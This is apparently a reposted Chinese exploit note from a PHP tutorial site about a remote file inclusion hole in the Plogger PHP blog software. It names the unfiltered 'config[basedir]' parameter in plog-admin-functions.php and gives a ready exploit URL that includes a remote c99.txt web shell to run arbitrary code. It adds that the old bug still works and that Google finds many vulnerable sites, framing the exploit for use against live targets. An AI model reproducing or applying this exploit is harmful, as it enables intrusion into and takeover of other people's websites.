来源：自学PHP网 时间：2015-04-17 11:59 作者： 阅读:次
[导读] 很老的漏洞了,但是现在还可以用！谷歌批量出来N多、Plogger是一款基于PHP的网络日记程序。程序未过滤用户提交的URI数据，可以利用漏洞以WEB权限执行任意命令。漏洞在#39;plog-admin-func...
|
很老的漏洞了,但是现在还可以用！谷歌批量出来N多、
Plogger是一款基于PHP的网络日记程序。
程序未过滤用户提交的URI数据，可以利用漏洞以WEB权限执行任意命令。
漏洞在'plog-admin-functions.php'脚本对用户提交的'config[basedir]'参数没有过滤，
指定远程服务器上的任意PHP文件作为包含对象，可以以WEB权限执行任意PHP代码
EXP：
http://www.2cto.com /Plogger/PATH/admin/plog-admin-functions.php?config[basedir]=http://www.2cto.com /c99.txt?
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
